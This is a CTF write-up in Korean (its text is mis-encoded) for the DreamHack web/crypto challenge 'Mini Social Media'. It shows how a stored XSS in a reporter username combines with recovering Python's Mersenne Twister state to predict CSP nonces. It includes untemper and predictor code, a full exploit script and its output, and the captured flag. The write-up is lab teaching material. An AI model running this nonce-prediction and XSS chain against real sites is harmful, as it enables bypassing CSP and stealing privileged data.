๋ฌธ์ : DreamHack โ Mini Social Media ๋ถ๋ฅ: Web + Crypto ๋์ด๋: ๐ฅ Gold 3 FLAG:
DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}
๊ฐ๋จํ ์์
๋ฏธ๋์ด ์๋น์ค๋ค. ๊ธ ์ฐ๊ณ , ์ข์์ ๋๋ฅด๊ณ , ์ ๊ณ ํ๋ฉด admin์ด ์ ๊ณ ๋ชฉ๋ก์ ํ์ธํ๋ค. ์ ๊ณ ๋ฅผ admin์ด ๋ณธ๋ค๋ ์ ์์ XSS ๋์๊ฐ ๊ฐํ๊ฒ ๋๋ค. ๊ทธ๋ฐ๋ฐ CSP๊ฐ ๊ฑธ๋ ค ์์ด์ ํ๋ฒํ <script>๋ ์คํ๋์ง ์๋๋ค.
ํต์ฌ์ ๊ทธ CSP์ nonce๋ฅผ ์ด๋ป๊ฒ ๋ง๋๋๋๋ค. ์๋ฒ๋ nonce๋ฅผ Python์ random ๋ชจ๋๋ก ๋ฝ๋๋ฐ, ์ด ๊ฐ์ด ๋งค ์๋ต ํค๋์ ๊ทธ๋๋ก ์ค๋ ค ๋์จ๋ค. ๋ฉ๋ฅด์ผ ํธ์์คํฐ๋ ์ถ๋ ฅ ๋ช ๊ฐ๋ง ๋ชจ์ผ๋ฉด ๋ด๋ถ ์ํ๊ฐ ๋ณต์๋๋ค. ์ฆ ๋ค์์ ๋์ฌ nonce๋ฅผ ๋ฏธ๋ฆฌ ๊ณ์ฐํ ์ ์๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Mini Social Media |
| ๋์ด๋ | ๐ฅ Gold 3 |
| ๋ถ๋ฅ | Web + Crypto |
| ์ ๊ณต | Flask ์์ค + Dockerfile + admin_bot(Selenium) |
| ํต์ฌ ์ทจ์ฝ์ | MT19937 nonce ์์ธก + reporter username stored XSS |
์๋น์ค๋ ๋ก๊ทธ์ธ/ํ์๊ฐ์
, ๊ธ ์์ฑ(/create_post), ์ข์์(/like_post), ์ ๊ณ (/report_post)๋ก ์ด๋ฃจ์ด์ง๋ค. ํ๋๊ทธ๋ /admin์ ์๊ณ , ์ธ์
์ role_id == 2(admin)์ผ ๋๋ง ์ฝ์ ์ ์๋ค.

์ฐ๋ฆฌ๊ฐ ๋ง๋๋ ๊ณ์ ์ role_id = 1๋ก ๊ณ ์ ๋๋ค. admin ๋น๋ฐ๋ฒํธ๋ ์๋ฒ๊ฐ ์ผ์ง ๋๋ง๋ค os.urandom(32)๋ก ์๋ก ๋ฐ๊ธ๋๋ ์ง์ ๋ก๊ทธ์ธํ ๊ธธ์ ์๋ค. admin ๊ถํ์ ๋น๋ฆฌ๋ ค๋ฉด admin ๋ด์ ๋ธ๋ผ์ฐ์ ์์์ ์ฝ๋๋ฅผ ์คํํด์ผ ํ๋ค.
๐ฌ ๋ถ์
XSS๋ ๊ธ ๋ด์ฉ์ด ์๋๋ผ ์ ๊ณ ์ ์ด๋ฆ์ ์๋ค
์ ๊ณ ๊ฐ ๋ค์ด์ค๋ฉด /report_post๊ฐ admin_bot.read_reports()๋ฅผ ๋ถ๋ฅด๊ณ , ๋ด์ /reports ํ์ด์ง๋ฅผ ์ฐ๋ค. ๊ทธ ํ
ํ๋ฆฟ์ ๋ณด์.
{# reports.html #}
<p><strong>Report ID:</strong> {{ report[0] }}</p>
<p><strong>Reported By:</strong> {{ report[1] | safe }}</p>
<p><strong>Post Content:</strong> {{ report[2] }}</p>report[2](๊ธ ๋ด์ฉ)์ Jinja ๊ธฐ๋ณธ autoescape๊ฐ ๊ฑธ๋ ค ์์ด์ <script>๋ฅผ ๋ฃ์ด๋ ๊ทธ๋ฅ ํ
์คํธ๋ก ๋ฐํ๋ค. ์ฒ์์ ๋น์ฐํ ๊ธ ๋ด์ฉ์ ๋
ธ๋ ธ๋๋ฐ, ์ฌ๊ธฐ์ ํ ๋ฒ ๋งํ๋ค.
์ง์ง ๊ตฌ๋ฉ์ ๋ฐ๋ก ์์ค, report[1] | safe๋ค. report[1]์ ์ ๊ณ ํ ์ฌ๋์ username์ด๊ณ | safe ํ์ ์ด์ค์ผ์ดํ ์์ด ๊ทธ๋๋ก ๋ ๋๋๋ค. ๊ทธ๋ฌ๋๊น XSS๋ ๊ธ์ด ์๋๋ผ ๋ด ๊ณ์ ์ด๋ฆ์ ์ฌ๋๋ค. ํ์๊ฐ์
ํ ๋ username์ <script>...</script>๋ก ๋ง๋ค๊ณ , ์๋ฌด ๊ธ์ด๋ ํ๋ ์ ๊ณ ํ๋ฉด ๊ทธ ์ด๋ฆ์ด admin ํ๋ฉด์์ ์ด์๋๋ค.
์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ฉด ์ ๊ณ ์๊ฐ ๋๊ตฌ์ธ์ง ๋ถ๋ช ํ๋ค.
SELECT Reports.report_id, Users.username AS reporter, Posts.content, Reports.reported_at
FROM Reports
JOIN Users ON Reports.reported_by_user_id = Users.user_id
JOIN Posts ON Reports.post_id = Posts.post_idCSP๊ฐ ๊ฐ๋ก๋ง๋๋ค
XSS ์ง์ ์ ์ฐพ์๋๋ฐ after_request๊ฐ ๋ชจ๋ ์๋ต์ CSP๋ฅผ ๋ถ์ธ๋ค.
@app.after_request
def add_header(response):
nonce = get_secure_nonce()
csp = f"default-src 'self'; " \
f"script-src 'self' 'nonce-{nonce}' 'unsafe-inline'; " \
f"img-src 'self'; style-src 'self' 'unsafe-inline'; " \
f"object-src 'none'; base-uri 'none';"
response.headers['Content-Security-Policy'] = csp
return responsescript-src์ 'unsafe-inline'์ด ๋ณด์ฌ์ "์ด, ๊ทธ๋ผ inline ๊ทธ๋ฅ ๋๋ ๊ฑฐ ์๋?" ์ถ์๋ค. ์๋๋ค. CSP์ nonce(๋๋ hash)๊ฐ ํ๋๋ผ๋ ๋ค์ด๊ฐ๋ฉด ๋ธ๋ผ์ฐ์ ๋ 'unsafe-inline'์ ๋ฌด์ํ๋ค. ๋ด์ ์ต์ ํฌ๋กฌ์ด๋ผ ์ด ๊ท์น์ ๋ฐ๋ฅธ๋ค. ๊ฒฐ๊ตญ inline script๋ ์๋ต์ ์ค๋ฆฐ nonce๋ฅผ ์ ํํ ๋ฌ๊ณ ์์ด์ผ๋ง ์คํ๋๋ค.
img-src 'self'๋ผ ์ธ๋ถ๋ก ์ด๋ฏธ์ง ๋น์ฝ์ ์ ์๋ ์๊ณ , connect-src๋ ๋ฐ๋ก ์์ด default-src 'self'๋ฅผ ๋ฐ๋ฅธ๋ค. ์ธ๋ถ ์ ์ถ ๊ฒฝ๋ก๋ ๋ค ๋งํ ์๋ค. ๋์ ๊ฐ์ ์ถ์ฒ(/admin, /create_post)๋ก๋ ์์ ๋กญ๊ฒ fetch๊ฐ ๋๋ค. ์ด๊ฒ ๋์ค์ ์ ์ถ ํต๋ก๊ฐ ๋๋ค.
๋จ์ ์ง๋ฌธ์ ํ๋๋ค. ๊ทธ nonce๋ฅผ ์ด๋ป๊ฒ ๋งํ์ง?
๐ฃ ํต์ฌ โ MT19937 nonce ์์ธก
nonce ์์ฑ๊ธฐ๋ฅผ ๋ฏ์ด๋ณด์.
def get_secure_nonce():
nonce = 0
for i in range(4):
nonce |= random.randint(0, 0xfffffffe) << 32 * i
return hex(nonce)[2:].zfill(32)์ด๋ฆ์ secure์ง๋ง random ๋ชจ๋, ์ฆ ๋ฉ๋ฅด์ผ ํธ์์คํฐ(MT19937)๋ค. ์ํธ์ฉ์ด ์๋๋ผ ์์ธก์ฉ์ด๋ค.
random.randint(0, 0xfffffffe)๋ ๋ด๋ถ์ ์ผ๋ก _randbelow(0xffffffff)๋ฅผ ํธ์ถํ๊ณ , ์ด๊ฑด getrandbits(32)๋ฅผ ํ ๋ฒ ๋ถ๋ฅธ๋ค(๋ฐํ๊ฐ์ด 0xffffffff์ผ ๋๋ง ๋ค์ ๋ฝ๋๋ฐ ํ๋ฅ ์ด 2**-32๋ผ ์ฌ์ค์ ์ ์ผ์ด๋๋ค). MT์ getrandbits(32)๋ ์ํ ์๋ ํ๋๋ฅผ temperํด์ ๋ด๋ณด๋ด๋ ๊ฒ๊ณผ ๊ฐ๋ค. ์ ๋ฆฌํ๋ฉด:
- nonce ํ๋ =
getrandbits(32)4๋ฒ = MT ์ถ๋ ฅ ์๋ 4๊ฐ (w0๊ฐ ํ์ 32๋นํธ, w3๊ฐ ์์) - ๊ทธ๋ฆฌ๊ณ ๊ทธ nonce๋ ๋งค ์๋ต ํค๋์ ํ๋ฌธ์ผ๋ก ์ค๋ ค ๋์จ๋ค
MT19937์ ์ฐ์ํ 32๋นํธ ์ถ๋ ฅ 624๊ฐ๋ฉด ๋ด๋ถ ์ํ 624์๋๋ฅผ ๊ทธ๋๋ก ์ญ์ฐํ ์ ์๋ค(๊ฐ ์ถ๋ ฅ์ untemper). 624์๋ = nonce 156๊ฐ. ์๋ต 156๋ฒ์ด๋ฉด ๋ค์ nonce๊ฐ ์ ๋ถ ๊ณ์ฐ๋๋ค.
curl -si http://host8.dreamhack.games:18269/login | grep -i content-security-policy
untemper๋ tempering 4๋จ๊ณ๋ฅผ ๋นํธ ๋จ์๋ก ๊ฑฐ๊พธ๋ก ํธ๋ ํ์ค ์์ ์ด๋ค.
def untemper(y):
y = _undo_right_shift_xor(y, 18)
y = _undo_left_shift_xor_mask(y, 15, 0xEFC60000)
y = _undo_left_shift_xor_mask(y, 7, 0x9D2C5680)
y = _undo_right_shift_xor(y, 11)
return y
def nonce_to_words(nonce_hex):
n = int(nonce_hex, 16)
return [(n >> (32 * i)) & 0xFFFFFFFF for i in range(4)]624์๋๋ฅผ untemperํด ์ํ๋ฅผ ๋ง๋ค๊ณ , random.Random์ ๊ทธ๋๋ก ๋ผ์ ๋ฃ์ผ๋ฉด ์๋ฒ์ ๋๊ฐ์ด ๊ตด๋ฌ๊ฐ๋ ๋ณต์ ์์ฑ๊ธฐ๊ฐ ๋๋ค. ์ดํ์ getrandbits(32)๋ฅผ ๊ฐ์ ๋ฐ์๋ก ๋๋ฆฌ๋ฉฐ ์๋ฒ๊ฐ ๋ด๋ณด๋ผ nonce๋ฅผ ํ ๋ฐ ์์ ๋ฝ์ผ๋ฉด ๋๋ค.
class NoncePredictor:
def __init__(self, observed_nonces):
words = []
for nh in observed_nonces:
words.extend(nonce_to_words(nh))
state = tuple(untemper(w) for w in words[:624]) + (624,)
self.rng = random.Random()
self.rng.setstate((3, state, None))
# ๋จ๋ nonce๋ก ์ ๋ ฌ์ด ๋ง๋์ง ์ฆ์ ๊ฒ์ฆ
for i in range(624, len(words)):
assert self.rng.getrandbits(32) == words[i]
def next_nonce(self):
w = [self.rng.getrandbits(32) for _ in range(4)]
return format(w[0] | w[1] << 32 | w[2] << 64 | w[3] << 96, 'x').zfill(32)๋ง๋ก๋ "624์๋ ๋ชจ์ผ๋ฉด ๋ณต์๋๋ค"์ง๋ง, ์ค์ ๋ก ๊ทธ ๋ณต์๊ธฐ๊ฐ ์๋ฒ์ ๋ค์ ์ถ๋ ฅ์ ๋ฏธ๋ฆฌ ๋งํ๋ ๊ฑธ ์ง์ ๋์ผ๋ก ํ์ธํ๊ณ ์ถ์๋ค. ๋ก์ปฌ์์ ๊ฐ์ง ์๋ฒ ํ๋๋ฅผ ์ธ์(random.Random() ์ธ์คํด์ค) ๊ฐ์ NoncePredictor๋ก ์ํ๋ฅผ ๋ณต์์ํค๊ณ , ์๋ฒ๊ฐ ์์ง ์ ๋ด๋์ nonce 5๊ฐ๋ฅผ ๋ฏธ๋ฆฌ ์์ธกํ ๋ค ์ค์ ์๋ฒ ์ถ๋ ฅ๊ณผ ๋๋ํ ๋น๊ตํ๋ค.
srv = random.Random()
def server_nonce():
n = 0
for i in range(4):
n |= srv.randint(0, 0xfffffffe) << 32 * i
return format(n, 'x').zfill(32)
observed = [server_nonce() for _ in range(160)]
predictor = NoncePredictor(observed)
for i in range(5):
predicted = predictor.next_nonce()
actual = server_nonce()
print(f"[{i}] predicted={predicted} actual={actual} -> {'MATCH' if predicted == actual else 'MISMATCH'}")
๋ค์ฏ ๋ฒ ์ ๋ถ MATCH๋ค. ์๋ฒ๋ ์์ง ๊ทธ ๊ฐ์ ๋ง๋ค์ง๋ ์์๋๋ฐ, ์ฐ๋ฆฌ ๋ณต์ ์์ฑ๊ธฐ๊ฐ ๋ฏธ๋ฆฌ ๊ณ์ฐํด๋ ๊ฐ๊ณผ ์์ ํ ๊ฐ๋ค โ MT19937์ ์์ธก ๊ฐ๋ฅํ nonce ์์ค๋ก ์ฐ๋ฉด ์ ๋๋ ์ด์ ๊ฐ ์ซ์๋ก ๊ทธ๋๋ก ๋๋ฌ๋๋ค.
๐ฏ ํ์ด ์ค๊ณ โ ์ ๋ ฌ์ด ์ ๋ถ๋ค
๋ณต์๋ง์ผ๋ก๋ ๋ถ์กฑํ๋ค. "๊ทธ ๋ค์ nonce"๊ฐ ์๋๋ผ "admin ๋ด์ด /reports๋ฅผ ๊ทธ๋ฆด ๋์ nonce"๋ฅผ ๋งํ์ผ ํ๋ค. ์๋ต ํ๋๊ฐ nonce ํ๋(4์๋)๋ฅผ ์ ํํ ์๋นํ๋, ๋ด๊ฐ ๋ณด๋ธ ์์ฒญ๊ณผ ๋ด์ด ๋ณด๋ธ ์์ฒญ์ ์์๋ฅผ ํ ์นธ๋ ์ ํ๋ฆฌ๊ฒ ์ธ์ผ ํ๋ค.
์์ฒญ ํ๋ฆ์ ๋ฐ๋ผ๊ฐ ๋ณด๋ฉด report_post๊ฐ ์ด์ ๋ค.
@app.route('/report_post', methods=['POST'])
def post_report_post():
# ... INSERT Reports ...
admin_bot.read_reports() # ๋ด์ด ๋๊ธฐ์ ์ผ๋ก /reports ๋ฅผ ์ฐ๋ค
return render_template('report_completed.html')read_reports()๋ driver.get('/reports')๋ผ ๋ธ๋กํน์ด๋ค. ๊ทธ๋์ ๋ด์ /reports ์๋ต(=๋ด๊ฐ ๋
ธ๋ฆฌ๋ nonce)์ด ๋จผ์ ์๋น๋๊ณ , report_post ์์ ์ after_request๋ ๊ทธ ๋ค์ ์๋น๋๋ค. ๋ด ๋ธ๋ผ์ฐ์ ๊ฐ ์ด์ด์ ๋ถ๋ฅด๋ CSSยทfavicon ์์ฒญ์ ๋ค๋น๊ฒ์ด์
์๋ต ์ดํ๋ผ ํ๊น nonce์ ์ํฅ์ ์ฃผ์ง ์๋๋ค.
์ฌ๊ธฐ์ ๋ ๋ฒ์งธ ์ฝ์ง. ์นด์ดํ
์ด ํ๋ ์นธ ์ด๊ธ๋ ๊น ๋ด, payload์ nonce ํ๋ณด๋ฅผ ์ฌ๋ฌ ๊ฐ ๋ฐ์ "์ฐํ์ด"์ผ๋ก ์๋ ค ํ๋ค. ๊ทธ๋ฐ๋ฐ username์ด VARCHAR(255)๋ค. nonce๋ฅผ ๋จ script ํ๊ทธ ํ๋๊ฐ ์ด๋ฏธ 177์๋ผ ๋ ๊ฐ๊ฐ ์ ๋ค์ด๊ฐ๋ค. ํ ์๋ต์๋ nonce๊ฐ ๋จ ํ๋๋ฟ์ด๋ ํ๋ณด๋ฅผ ๋์ดํด๋ ์๋ฏธ๊ฐ ์๊ณ , ๊ฒฐ๊ตญ ์ ํํ ํ ๋ฐ์ ๋งํ์ผ ํ๋ค.
๊ทธ๋์ ๊ณต๊ฒฉ ์ํ์ค๋ฅผ ์ต์ ์์ฒญ 3๊ฐ๋ก ๊ณ ์ ํ๋ค. ๋ฏธ๋ฆฌ ์ ๊ณ ํ ๊ธ ํ๋๋ ๋ฒ๋ฆฌ๋ ๊ณ์ ์ผ๋ก ๋ง๋ค์ด ๋๊ณ , nonce ์์ง์ด ๋๋ ์งํ ๋ค๋ฅธ ์์ฒญ ์์ด ๊ณง์ฅ:
| ์์ | ์์ฒญ | ์๋นํ๋ nonce |
|---|---|---|
| 0 | POST /register (XSS username) | predict[0] |
| 1 | POST /login | predict[1] |
| 2 | POST /report_post โ ๋ด GET /reports | predict[2] โ ํ๊น |
๋ฆฌ๋ค์ด๋ ํธ๋ฅผ ๋ฐ๋ผ๊ฐ๋ฉด ์์ฒญ์ด ํ ๊ฐ ๋ ์๊ธฐ๋ allow_redirects=False๋ก ๋ฌถ์ด ์๋ต ์๋ฅผ ๋ฑ ๋ง์ถ๋ค. ๊ทธ๋ฌ๋ฉด ๋ด์ /reports๋ ์ ํํ predict[2]๋ค. username์ ๊ทธ ๊ฐ์ ๋ฐ๋๋ค.
payload๋ ์ธ๋ถ๋ก ๋๊ฐ ํ์๊ฐ ์๋ค. admin ๋ด ๋ธ๋ผ์ฐ์ (๊ฐ์ ์ถ์ฒ)์์ /admin์ ์ฝ์ด ํ๋๊ทธ๋ฅผ ๋ฐ๊ณ , ๊ทธ๊ฑธ /create_post๋ก ๋ค์ ์ฌ๋ฆฌ๋ฉด ๋์ด๋ค. ๊ทธ ๊ธ์ ๊ณต๊ฐ ํผ๋์ ๋จ๋ ๋ด ๊ณ์ ์ผ๋ก ๋ค์ด๊ฐ ์ฝ์ผ๋ฉด ๋๋ค.
fetch('/admin').then(r=>r.text())
.then(t=>fetch('/create_post',{method:'POST',
body:new URLSearchParams({postText:t})}))<script nonce="์์ธก๊ฐ"> + ์ ์ฝ๋ = 177์, 255 ์ ํ ์์ ๋ค์ด๊ฐ๋ค.
โถ๐ ์ฝ์ง โ ๋ก์ปฌ ๊ฒ์ฆ์ฉ docker๊ฐ ์ ์ฌ๋ผ๊ฐ๋ค
๋ฐฐํฌ ํ๊ฒฝ์ ๊ทธ๋๋ก ๋์์ ๋ด๊น์ง ํฌํจํ ์ ์ฒด ์ฒด์ธ์ ํ์ธํ๊ณ ์ถ์๋๋ฐ, base ์ด๋ฏธ์ง๊ฐ python:3.11-slim-buster์๋ค. Debian buster๋ EOL์ด๋ผ apt ์ ์ฅ์๊ฐ archive๋ก ๋น ์ ธ์ apt update๊ฐ 404๋ก ์ฃฝ๋๋ค.
E: The repository 'http://deb.debian.org/debian buster Release' does not have a Release file.
failed to solve: process "/bin/sh -c apt update -y && apt install ..." exit code: 100์ต์คํ๋ก์์ด ์์กดํ๋ ๊ฑด Python random(์ด๋ OS๋ ๋์ผ)ยทFlask 3.0.2(pip ๊ณ ์ )ยทํฌ๋กฌ ๋์๋ฟ์ด๋ผ base๋ง slim-bookworm์ผ๋ก ๋ฐ๊ฟ๋ ํ๋์ด ๊ทธ๋๋ก๋ค. ๊ฑฐ๊ธฐ์ deprecated๋ apt-key ๋์ signed-by ํค๋ง์ผ๋ก ํฌ๋กฌ ์ ์ฅ์๋ฅผ ๋ฑ๋กํด ๋น๋๋ฅผ ์ด๋ ธ๋ค. ๋๋ถ์ ๋ก์ปฌ์์ ๋ด์ด ์ค์ ๋ก nonce ๋ฌ๋ฆฐ script๋ฅผ ์คํํ๋ ๊ฒ๊น์ง ํ์ธํ๊ณ ๊ณต์ ์๋ฒ์ ์๋ค.
๐ Full Exploit
mt_predict.py(MT ๋ณต์ยท์์ธก)์ solve.py(์ฒด์ธ) ๋ ํ์ผ๋ก ๋๋ด๋ค. ์์ธก๊ธฐ๋ ๋ค์๊ณผ ๊ฐ์ด ๋ณต์ ์งํ ๋ด๋ถ ๊ฒ์ฆ์ ํ๊ณ , ๊ณต์ ์๋ฒ์ ๋ํด ํ ๋ฒ ๋ ๋ผ์ด๋ธ๋ก "์์ธก โ ์์ฒญ โ ๋น๊ต"๋ฅผ ๋๋ ค ์ ๋ ฌ์ด ๋ง๋์ง ๋ชป๋ฐ๋๋ค.
#!/usr/bin/env python3
import re, sys, time, secrets, requests
from mt_predict import NoncePredictor
BASE = sys.argv[1].rstrip('/')
OFFSET = int(sys.argv[2]) if len(sys.argv) > 2 else 2 # register, login, [reports]
N_COLLECT, N_SANITY = 200, 5
NONCE_RE = re.compile(r"nonce-([0-9a-f]{32})")
PAYLOAD = ("fetch('/admin').then(r=>r.text())"
".then(t=>fetch('/create_post',{method:'POST',"
"body:new URLSearchParams({postText:t})}))")
def nonce_of(r): return NONCE_RE.search(r.headers['Content-Security-Policy']).group(1)
def register(s,u,p): return s.post(f'{BASE}/register', data={'newUsername':u,'newPassword':p}, allow_redirects=False)
def login(s,u,p): return s.post(f'{BASE}/login', data={'username':u,'password':p}, allow_redirects=False)
def create(s,t): return s.post(f'{BASE}/create_post', data={'postText':t}, allow_redirects=False)
def report(s,pid): return s.post(f'{BASE}/report_post', data={'post_id':str(pid)}, allow_redirects=False)
def main():
tag = secrets.token_hex(4)
# 1) ์ ๊ณ ํ ๊ธ ํ๋ ์ค๋น (๋ฒ๋ฆฌ๋ ๊ณ์ )
tw = requests.Session()
register(tw, f'tw_{tag}', 'pw'); login(tw, f'tw_{tag}', 'pw'); create(tw, 'report-me')
html = tw.get(f'{BASE}/', allow_redirects=False).text
post_id = re.findall(r'name="post_id" value="(\d+)"', html)[0]
# 2) nonce 200๊ฐ ์์ง(์์ฐจ = ์ฐ์ ์๋) โ MT ์ํ ๋ณต์
nonces = [nonce_of(requests.get(f'{BASE}/login', allow_redirects=False)) for _ in range(N_COLLECT)]
pred = NoncePredictor(nonces)
# 3) ๋ผ์ด๋ธ ์์ธก ๊ฒ์ฆ (์์ธก๊ธฐ ๋๊ธฐํ ์ ์ง)
for _ in range(N_SANITY):
assert pred.next_nonce() == nonce_of(requests.get(f'{BASE}/login', allow_redirects=False))
# 4) ๋ด /reports ์๋ต์ nonce๋ฅผ ์์ธกํด username์ ๋ฐ๋๋ค
target = pred.peek_nonces(OFFSET + 2)[OFFSET]
xss = f'<script nonce="{target}">{PAYLOAD}</script>'
assert len(xss) <= 255
# 5) register โ login โ report 3๋ฐ. report ๊ฐ ๋ด์ /reports ๋ฅผ ๊นจ์ด๋ค
X = requests.Session()
register(X, xss, 'pw'); login(X, xss, 'pw'); report(X, post_id)
# 6) admin ์ด ์ฌ๊ฒ์ํ ํ๋๊ทธ๋ฅผ ํผ๋์์ ํ์
for _ in range(20):
m = re.search(r'DH\{[^}]*\}', tw.get(f'{BASE}/', allow_redirects=False).text)
if m: print('[+] FLAG:', m.group(0)); return
time.sleep(1)
if __name__ == '__main__':
main()์คํ ๊ฒฐ๊ณผ. ๋ณต์ โ ๋ผ์ด๋ธ ๊ฒ์ฆ โ ์์ธก nonce โ username ์ฃผ์ โ ํ๋๊ทธ ํ์๊ฐ ํ ํ๋ฆ์ผ๋ก ๋จ์ด์ง๋ค.

[+] MT state recovered & internally verified (800 words synced)
[+] live prediction verified for next 5 responses
[+] target (bot /reports) nonce = e394c3ff1c130124915ecbfec58de052
[+] XSS username (177 chars): <script nonce="e394c3ff1c130124915ecbfec58de052">fetch('/admin')...</script>
[+] report fired; admin bot rendered our username under the predicted nonce
[+] FLAG: DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}admin ๋ด์ด ๋ฐ์์จ ํ๋๊ทธ๋ฅผ ์๊ธฐ ์ด๋ฆ์ผ๋ก ํผ๋์ ๋ค์ ์ฌ๋ฆฐ ๋ชจ์ต์ด๋ค. role_id = 1์ธ ๋ด ๊ณ์ ์ด admin์ /admin ์๋ต์ ๊ทธ๋๋ก ์์ ๋ฃ์๋ค.

FLAG:
DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}
๐ ๊ฒฐ๋ก
nonce๋ ๋น๋ฐ์ผ ๋๋ง nonce๋ค.
CSP์ nonce๊ฐ inline script๋ฅผ ๋ง๋ ๊ฑด ๊ทธ ๊ฐ์ด ์ถ์ธก ๋ถ๊ฐ๋ฅํ๋ค๋ ์ ์ ์์์๋ค. random.randint๋ก ๋ฝ์ ์๊ฐ ๊ทธ ์ ์ ๊ฐ ๋ฌด๋์ง๊ณ , ์๋ต ํค๋๋ก ํ๋ฌ๋์ค๋ ๊ฐ๊น์ง ๋ํ๋ฉด ํ ๋ฐ ์์ ๋ณด๋ ๊ฑด ์๊ฐ๋ฌธ์ ๊ฐ ๋๋ค. secrets๋ os.urandom์ด์๋ค๋ฉด ์ด ํ์ด๋ ์ฑ๋ฆฝํ์ง ์๋๋ค.
์น๊ณผ ํฌ๋ฆฝํ ๊ฐ ํ ์ค์์ ๋ง๋๋ค. XSS ์ง์ (| safe ํ ๊ธ์)์ ์ฐพ๋ ๊ฑด ์น์ ์์ญ์ด๊ณ , ๊ทธ๊ฑธ ์ค์ ๋ก ์คํ์ํค๋ ์ด์ ๋ ๋ฉ๋ฅด์ผ ํธ์์คํฐ ๋ณต์์ด๋ผ๋ ํฌ๋ฆฝํ ๋ค. ๋ ์ค ํ๋๋ง ๋น ์ ธ๋ ํ๋๊ทธ๊น์ง ๋ชป ๊ฐ๋ค.
๋ง์ง๋ง์ ์นด์ดํ
์ธ์์ด์๋ค. read_reports()๊ฐ ๋๊ธฐ ํธ์ถ์ด๋ผ๋ ์ฌ์ค ํ๋๊ฐ "๋ด์ nonce๊ฐ ๋ด report_post๋ณด๋ค ๋จผ์ "๋ผ๋ ์์๋ฅผ ๋ง๋ค์ด์คฌ๊ณ , username 255์ ์ ํ์ด "์ ํํ ํ ๋ฐ"์ ๊ฐ์ ํ๋ค. ์ต์คํ๋ก์์ด ๋ฉ์์ด์๊ฐ ์๋๋ผ, ์๋ต ์์๋ฅผ ํ ์นธ๋ ์ ํ๋ฆฌ๊ฒ ์
๊ธฐ ๋๋ฌธ์ ๋ง์ ๊ฑฐ๋ค.
์ ์ ํ์๋ Dream Lectures๋ ๊ฐ์ ๊ณจ๊ฒฉ์ด์๋ค. ๊ฑฐ๊ธด 16๋นํธ LFSR์ด๋ผ ๊ฑฐ์ ์ฆ์ ๋ณต์๋๋๋ฐ, ์ฌ๊ธฐ์ 128๋นํธ MT๋ผ 624์๋๋ฅผ ๊ธ์ด๋ชจ์์ผ ํ๋ค. ๊ฐ์ ํจํด, ํ ๋จ๊ณ ์์ ๋๋.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ